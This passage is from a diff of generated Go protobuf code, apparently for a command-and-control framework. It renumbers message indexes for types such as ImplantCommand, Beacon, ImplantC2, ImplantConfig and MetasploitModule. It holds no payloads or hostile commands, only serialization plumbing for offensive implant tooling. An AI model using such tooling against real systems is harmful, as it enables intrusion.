(*ImplantCommand) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{2} + return file_clientpb_client_proto_rawDescGZIP(), []int{4} } func (x *ImplantCommand) GetStream() string { @@ -1281,7 +1399,7 @@ type HistoryRequest struct { func (x *HistoryRequest) Reset() { *x = HistoryRequest{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[3] + mi := &file_clientpb_client_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1294,7 +1412,7 @@ func (x *HistoryRequest) String() string { func (*HistoryRequest) ProtoMessage() {} func (x *HistoryRequest) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[3] + mi := &file_clientpb_client_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1307,7 +1425,7 @@ func (x *HistoryRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead. func (*HistoryRequest) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{3} + return file_clientpb_client_proto_rawDescGZIP(), []int{5} } func (x *HistoryRequest) GetUserOnly() bool { @@ -1360,7 +1478,7 @@ type History struct { func (x *History) Reset() { *x = History{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[4] + mi := &file_clientpb_client_proto_msgTypes[6] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1373,7 +1491,7 @@ func (x *History) String() string { func (*History) ProtoMessage() {} func (x *History) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[4] + mi := &file_clientpb_client_proto_msgTypes[6] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1386,7 +1504,7 @@ func (x *History) ProtoReflect() protoreflect.Message { // Deprecated: Use History.ProtoReflect.Descriptor instead. func (*History) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{4} + return file_clientpb_client_proto_rawDescGZIP(), []int{6} } func (x *History) GetHistoryLen() int32 { @@ -1453,7 +1571,7 @@ type Session struct { func (x *Session) Reset() { *x = Session{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[5] + mi := &file_clientpb_client_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1466,7 +1584,7 @@ func (x *Session) String() string { func (*Session) ProtoMessage() {} func (x *Session) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[5] + mi := &file_clientpb_client_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1479,7 +1597,7 @@ func (x *Session) ProtoReflect() protoreflect.Message { // Deprecated: Use Session.ProtoReflect.Descriptor instead. func (*Session) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{5} + return file_clientpb_client_proto_rawDescGZIP(), []int{7} } func (x *Session) GetID() string { @@ -1695,7 +1813,7 @@ type Beacon struct { func (x *Beacon) Reset() { *x = Beacon{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[6] + mi := &file_clientpb_client_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1708,7 +1826,7 @@ func (x *Beacon) String() string { func (*Beacon) ProtoMessage() {} func (x *Beacon) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[6] + mi := &file_clientpb_client_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1721,7 +1839,7 @@ func (x *Beacon) ProtoReflect() protoreflect.Message { // Deprecated: Use Beacon.ProtoReflect.Descriptor instead. func (*Beacon) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{6} + return file_clientpb_client_proto_rawDescGZIP(), []int{8} } func (x *Beacon) GetID() string { @@ -1931,7 +2049,7 @@ type Beacons struct { func (x *Beacons) Reset() { *x = Beacons{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[7] + mi := &file_clientpb_client_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1944,7 +2062,7 @@ func (x *Beacons) String() string { func (*Beacons) ProtoMessage() {} func (x *Beacons) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[7] + mi := &file_clientpb_client_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1957,7 +2075,7 @@ func (x *Beacons) ProtoReflect() protoreflect.Message { // Deprecated: Use Beacons.ProtoReflect.Descriptor instead. func (*Beacons) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{7} + return file_clientpb_client_proto_rawDescGZIP(), []int{9} } func (x *Beacons) GetBeacons() []*Beacon { @@ -1986,7 +2104,7 @@ type BeaconTask struct { func (x *BeaconTask) Reset() { *x = BeaconTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[8] + mi := &file_clientpb_client_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1999,7 +2117,7 @@ func (x *BeaconTask) String() string { func (*BeaconTask) ProtoMessage() {} func (x *BeaconTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[8] + mi := &file_clientpb_client_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2012,7 +2130,7 @@ func (x *BeaconTask) ProtoReflect() protoreflect.Message { // Deprecated: Use BeaconTask.ProtoReflect.Descriptor instead. func (*BeaconTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{8} + return file_clientpb_client_proto_rawDescGZIP(), []int{10} } func (x *BeaconTask) GetID() string { @@ -2090,7 +2208,7 @@ type BeaconTasks struct { func (x *BeaconTasks) Reset() { *x = BeaconTasks{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[9] + mi := &file_clientpb_client_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2103,7 +2221,7 @@ func (x *BeaconTasks) String() string { func (*BeaconTasks) ProtoMessage() {} func (x *BeaconTasks) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[9] + mi := &file_clientpb_client_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2116,7 +2234,7 @@ func (x *BeaconTasks) ProtoReflect() protoreflect.Message { // Deprecated: Use BeaconTasks.ProtoReflect.Descriptor instead. func (*BeaconTasks) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{9} + return file_clientpb_client_proto_rawDescGZIP(), []int{11} } func (x *BeaconTasks) GetBeaconID() string { @@ -2146,7 +2264,7 @@ type ImplantC2 struct { func (x *ImplantC2) Reset() { *x = ImplantC2{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[10] + mi := &file_clientpb_client_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2159,7 +2277,7 @@ func (x *ImplantC2) String() string { func (*ImplantC2) ProtoMessage() {} func (x *ImplantC2) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[10] + mi := &file_clientpb_client_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2172,7 +2290,7 @@ func (x *ImplantC2) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantC2.ProtoReflect.Descriptor instead. func (*ImplantC2) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{10} + return file_clientpb_client_proto_rawDescGZIP(), []int{12} } func (x *ImplantC2) GetPriority() uint32 { @@ -2255,7 +2373,7 @@ type ImplantConfig struct { func (x *ImplantConfig) Reset() { *x = ImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[11] + mi := &file_clientpb_client_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2268,7 +2386,7 @@ func (x *ImplantConfig) String() string { func (*ImplantConfig) ProtoMessage() {} func (x *ImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[11] + mi := &file_clientpb_client_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2281,7 +2399,7 @@ func (x *ImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantConfig.ProtoReflect.Descriptor instead. func (*ImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{11} + return file_clientpb_client_proto_rawDescGZIP(), []int{13} } func (x *ImplantConfig) GetID() string { @@ -2634,7 +2752,7 @@ type TrafficEncoder struct { func (x *TrafficEncoder) Reset() { *x = TrafficEncoder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[12] + mi := &file_clientpb_client_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2647,7 +2765,7 @@ func (x *TrafficEncoder) String() string { func (*TrafficEncoder) ProtoMessage() {} func (x *TrafficEncoder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[12] + mi := &file_clientpb_client_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2660,7 +2778,7 @@ func (x *TrafficEncoder) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoder.ProtoReflect.Descriptor instead. func (*TrafficEncoder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{12} + return file_clientpb_client_proto_rawDescGZIP(), []int{14} } func (x *TrafficEncoder) GetID() uint64 { @@ -2703,7 +2821,7 @@ type TrafficEncoderMap struct { func (x *TrafficEncoderMap) Reset() { *x = TrafficEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[13] + mi := &file_clientpb_client_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2716,7 +2834,7 @@ func (x *TrafficEncoderMap) String() string { func (*TrafficEncoderMap) ProtoMessage() {} func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[13] + mi := &file_clientpb_client_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2729,7 +2847,7 @@ func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderMap.ProtoReflect.Descriptor instead. func (*TrafficEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{13} + return file_clientpb_client_proto_rawDescGZIP(), []int{15} } func (x *TrafficEncoderMap) GetEncoders() map[string]*TrafficEncoder { @@ -2755,7 +2873,7 @@ type TrafficEncoderTest struct { func (x *TrafficEncoderTest) Reset() { *x = TrafficEncoderTest{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[14] + mi := &file_clientpb_client_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2768,7 +2886,7 @@ func (x *TrafficEncoderTest) String() string { func (*TrafficEncoderTest) ProtoMessage() {} func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[14] + mi := &file_clientpb_client_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2781,7 +2899,7 @@ func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderTest.ProtoReflect.Descriptor instead. func (*TrafficEncoderTest) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{14} + return file_clientpb_client_proto_rawDescGZIP(), []int{16} } func (x *TrafficEncoderTest) GetName() string { @@ -2840,7 +2958,7 @@ type TrafficEncoderTests struct { func (x *TrafficEncoderTests) Reset() { *x = TrafficEncoderTests{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[15] + mi := &file_clientpb_client_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2853,7 +2971,7 @@ func (x *TrafficEncoderTests) String() string { func (*TrafficEncoderTests) ProtoMessage() {} func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[15] + mi := &file_clientpb_client_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2866,7 +2984,7 @@ func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderTests.ProtoReflect.Descriptor instead. func (*TrafficEncoderTests) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{15} + return file_clientpb_client_proto_rawDescGZIP(), []int{17} } func (x *TrafficEncoderTests) GetEncoder() *TrafficEncoder { @@ -2909,7 +3027,7 @@ type ExternalImplantConfig struct { func (x *ExternalImplantConfig) Reset() { *x = ExternalImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[16] + mi := &file_clientpb_client_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2922,7 +3040,7 @@ func (x *ExternalImplantConfig) String() string { func (*ExternalImplantConfig) ProtoMessage() {} func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[16] + mi := &file_clientpb_client_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2935,7 +3053,7 @@ func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalImplantConfig.ProtoReflect.Descriptor instead. func (*ExternalImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{16} + return file_clientpb_client_proto_rawDescGZIP(), []int{18} } func (x *ExternalImplantConfig) GetConfig() *ImplantConfig { @@ -2965,7 +3083,7 @@ type ExternalImplantBinary struct { func (x *ExternalImplantBinary) Reset() { *x = ExternalImplantBinary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[17] + mi := &file_clientpb_client_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2978,7 +3096,7 @@ func (x *ExternalImplantBinary) String() string { func (*ExternalImplantBinary) ProtoMessage() {} func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[17] + mi := &file_clientpb_client_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2991,7 +3109,7 @@ func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalImplantBinary.ProtoReflect.Descriptor instead. func (*ExternalImplantBinary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{17} + return file_clientpb_client_proto_rawDescGZIP(), []int{19} } func (x *ExternalImplantBinary) GetName() string { @@ -3027,7 +3145,7 @@ type ImplantBuilds struct { func (x *ImplantBuilds) Reset() { *x = ImplantBuilds{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[18] + mi := &file_clientpb_client_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3040,7 +3158,7 @@ func (x *ImplantBuilds) String() string { func (*ImplantBuilds) ProtoMessage() {} func (x *ImplantBuilds) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[18] + mi := &file_clientpb_client_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3053,7 +3171,7 @@ func (x *ImplantBuilds) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantBuilds.ProtoReflect.Descriptor instead. func (*ImplantBuilds) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{18} + return file_clientpb_client_proto_rawDescGZIP(), []int{20} } func (x *ImplantBuilds) GetConfigs() map[string]*ImplantConfig { @@ -3076,7 +3194,7 @@ type CompilerTarget struct { func (x *CompilerTarget) Reset() { *x = CompilerTarget{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[19] + mi := &file_clientpb_client_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3089,7 +3207,7 @@ func (x *CompilerTarget) String() string { func (*CompilerTarget) ProtoMessage() {} func (x *CompilerTarget) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[19] + mi := &file_clientpb_client_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3102,7 +3220,7 @@ func (x *CompilerTarget) ProtoReflect() protoreflect.Message { // Deprecated: Use CompilerTarget.ProtoReflect.Descriptor instead. func (*CompilerTarget) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{19} + return file_clientpb_client_proto_rawDescGZIP(), []int{21} } func (x *CompilerTarget) GetGOOS() string { @@ -3140,7 +3258,7 @@ type CrossCompiler struct { func (x *CrossCompiler) Reset() { *x = CrossCompiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[20] + mi := &file_clientpb_client_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3153,7 +3271,7 @@ func (x *CrossCompiler) String() string { func (*CrossCompiler) ProtoMessage() {} func (x *CrossCompiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[20] + mi := &file_clientpb_client_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3166,7 +3284,7 @@ func (x *CrossCompiler) ProtoReflect() protoreflect.Message { // Deprecated: Use CrossCompiler.ProtoReflect.Descriptor instead. func (*CrossCompiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{20} + return file_clientpb_client_proto_rawDescGZIP(), []int{22} } func (x *CrossCompiler) GetTargetGOOS() string { @@ -3212,7 +3330,7 @@ type Compiler struct { func (x *Compiler) Reset() { *x = Compiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[21] + mi := &file_clientpb_client_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3225,7 +3343,7 @@ func (x *Compiler) String() string { func (*Compiler) ProtoMessage() {} func (x *Compiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[21] + mi := &file_clientpb_client_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3238,7 +3356,7 @@ func (x *Compiler) ProtoReflect() protoreflect.Message { // Deprecated: Use Compiler.ProtoReflect.Descriptor instead. func (*Compiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{21} + return file_clientpb_client_proto_rawDescGZIP(), []int{23} } func (x *Compiler) GetGOOS() string { @@ -3290,7 +3408,7 @@ type MetasploitModule struct { func (x *MetasploitModule) Reset() { *x = MetasploitModule{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3303,7 +3421,7 @@ func (x *MetasploitModule) String() string { func (*MetasploitModule) ProtoMessage() {} func (x *MetasploitModule) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3316,7 +3434,7 @@ func (x *MetasploitModule) ProtoReflect() protoreflect.Message { // Deprecated: Use MetasploitModule.ProtoReflect.Descriptor instead. func (*MetasploitModule) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{22} + return file_clientpb_client_proto_rawDescGZIP(), []int{24} } func (x *MetasploitModule) GetName() string { @@ -3362,7 +3480,7 @@ type MetasploitCompiler struct { func (x *MetasploitCompiler) Reset() { *x = MetasploitCompiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3375,7 +3493,7 @@ func (x *MetasploitCompiler) String() string { func (*MetasploitCompiler) ProtoMessage() {} func (x *MetasploitCompiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3388,7 +3506,7 @@ func (x *MetasploitCompiler) ProtoReflect() protoreflect.Message { // Deprecated: Use MetasploitCompiler.ProtoReflect.Descriptor instead. func (*MetasploitCompiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{23} + return file_clientpb_client_proto_rawDescGZIP(), []int{25} } func (x *MetasploitCompiler) GetVersion() string { @@ -3437,7 +3555,7 @@ type DeleteReq struct { func (x *DeleteReq) Reset() { *x = DeleteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3450,7 +3568,7 @@ func (x *DeleteReq) String() string { func (*DeleteReq) ProtoMessage() {} func (x *DeleteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3463,7 +3581,7 @@ func (x *DeleteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteReq.ProtoReflect.Descriptor instead. func (*DeleteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{24} + return file_clientpb_client_proto_rawDescGZIP(), []int{26} } func (x *DeleteReq) GetName() string { @@ -3490,7 +3608,7 @@ type DNSCanary struct { func (x *DNSCanary) Reset() { *x = DNSCanary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3503,7 +3621,7 @@ func (x *DNSCanary) String() string { func (*DNSCanary) ProtoMessage() {} func (x *DNSCanary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3516,7 +3634,7 @@ func (x *DNSCanary) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSCanary.ProtoReflect.Descriptor instead. func (*DNSCanary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{25} + return file_clientpb_client_proto_rawDescGZIP(), []int{27} } func (x *DNSCanary) GetImplantName() string { @@ -3572,7 +3690,7 @@ type Canaries struct { func (x *Canaries) Reset() { *x = Canaries{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3585,7 +3703,7 @@ func (x *Canaries) String() string { func (*Canaries) ProtoMessage() {} func (x *Canaries) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3598,7 +3716,7 @@ func (x *Canaries) ProtoReflect() protoreflect.Message { // Deprecated: Use Canaries.ProtoReflect.Descriptor instead. func (*Canaries) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{26} + return file_clientpb_client_proto_rawDescGZIP(), []int{28} } func (x *Canaries) GetCanaries() []*DNSCanary { @@ -3620,7 +3738,7 @@ type UniqueWGIP struct { func (x *UniqueWGIP) Reset() { *x = UniqueWGIP{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3633,7 +3751,7 @@ func (x *UniqueWGIP) String() string { func (*UniqueWGIP) ProtoMessage() {} func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3646,7 +3764,7 @@ func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { // Deprecated: Use UniqueWGIP.ProtoReflect.Descriptor instead. func (*UniqueWGIP) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{27} + return file_clientpb_client_proto_rawDescGZIP(), []int{29} } func (x *UniqueWGIP) GetIP() string { @@ -3668,7 +3786,7 @@ type ImplantProfile struct { func (x *ImplantProfile) Reset() { *x = ImplantProfile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3681,7 +3799,7 @@ func (x *ImplantProfile) String() string { func (*ImplantProfile) ProtoMessage() {} func (x *ImplantProfile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3694,7 +3812,7 @@ func (x *ImplantProfile) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfile.ProtoReflect.Descriptor instead. func (*ImplantProfile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{28} + return file_clientpb_client_proto_rawDescGZIP(), []int{30} } func (x *ImplantProfile) GetName() string { @@ -3722,7 +3840,7 @@ type ImplantProfiles struct { func (x *ImplantProfiles) Reset() { *x = ImplantProfiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[31] ms := 